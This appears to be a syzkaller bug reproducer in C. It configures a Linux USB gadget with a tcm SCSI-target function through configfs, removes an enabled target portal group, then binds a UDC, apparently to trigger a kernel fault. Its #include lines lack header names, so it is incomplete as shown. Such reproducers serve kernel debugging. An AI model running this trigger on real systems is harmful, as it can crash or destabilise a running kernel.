// https://syzkaller.appspot.com/bug?id=fad611d7ddd914f0b4488742a63b93f31b321ca0 #include #include #include #include #include #include #include #include #include void do_mkdir(const char *path) { if (mkdir(path, 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir %s: %s\n", path, strerror(errno)); exit(1); } printf("[+] mkdir %s successful.\n", path); } void do_rmdir(const char *path) { if (rmdir(path) < 0) { printf("[-] Failed to rmdir %s: %s\n", path, strerror(errno)); exit(1); } printf("[+] rmdir %s successful.\n", path); } void write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); exit(1); } if (write(fd, val, strlen(val)) < 0) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); exit(1); } close(fd); printf("[+] Wrote %s to %s\n", val, path); } void do_symlink(const char *target, const char *linkpath) { if (symlink(target, linkpath) < 0 && errno != EEXIST) { printf("[-] Failed to symlink %s to %s: %s\n", target, linkpath, strerror(errno)); exit(1); } printf("[+] symlink %s -> %s successful.\n", linkpath, target); } int main(void) { int res; res = mount("none", "/sys/kernel/config", "configfs", 0, NULL); if (res < 0 && errno != EBUSY) { printf("[-] Failed to mount configfs: %s\n", strerror(errno)); } else { printf("[+] configfs mounted or already mounted.\n"); } do_mkdir("/sys/kernel/config/usb_gadget/g1"); write_file("/sys/kernel/config/usb_gadget/g1/idVendor", "0x1d6b"); write_file("/sys/kernel/config/usb_gadget/g1/idProduct", "0x0104"); do_mkdir("/sys/kernel/config/usb_gadget/g1/strings/0x409"); do_mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1"); do_mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1/strings/0x409"); do_mkdir("/sys/kernel/config/usb_gadget/g1/functions/tcm.0"); do_mkdir("/sys/kernel/config/target/usb_gadget"); do_mkdir("/sys/kernel/config/target/usb_gadget/naa.6001405123456789"); do_mkdir("/sys/kernel/config/target/usb_gadget/naa.6001405123456789/tpgt_1"); write_file("/sys/kernel/config/target/usb_gadget/naa.6001405123456789/tpgt_1/enable", "1"); do_rmdir("/sys/kernel/config/target/usb_gadget/naa.6001405123456789/tpgt_1"); do_symlink("/sys/kernel/config/usb_gadget/g1/functions/tcm.0", "/sys/kernel/config/usb_gadget/g1/configs/c.1/tcm.0"); DIR *dir = opendir("/sys/class/udc"); if (!dir) { printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno)); exit(1); } struct dirent *ent; int udc_found = 0; char udc_name[256] = {0}; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] != '.') { udc_found = 1; strncpy(udc_name, ent->d_name, sizeof(udc_name) - 1); printf("[+] Found UDC: %s\n", udc_name); break; } } closedir(dir); if (!udc_found) { printf("[-] No UDC found in /sys/class/udc\n"); strncpy(udc_name, "dummy_udc.0", sizeof(udc_name) - 1); } write_file("/sys/kernel/config/usb_gadget/g1/UDC", udc_name); printf("[+] Waiting for host to send SCSI command...\n"); sleep(5); printf("[+] Done.\n"); return 0; }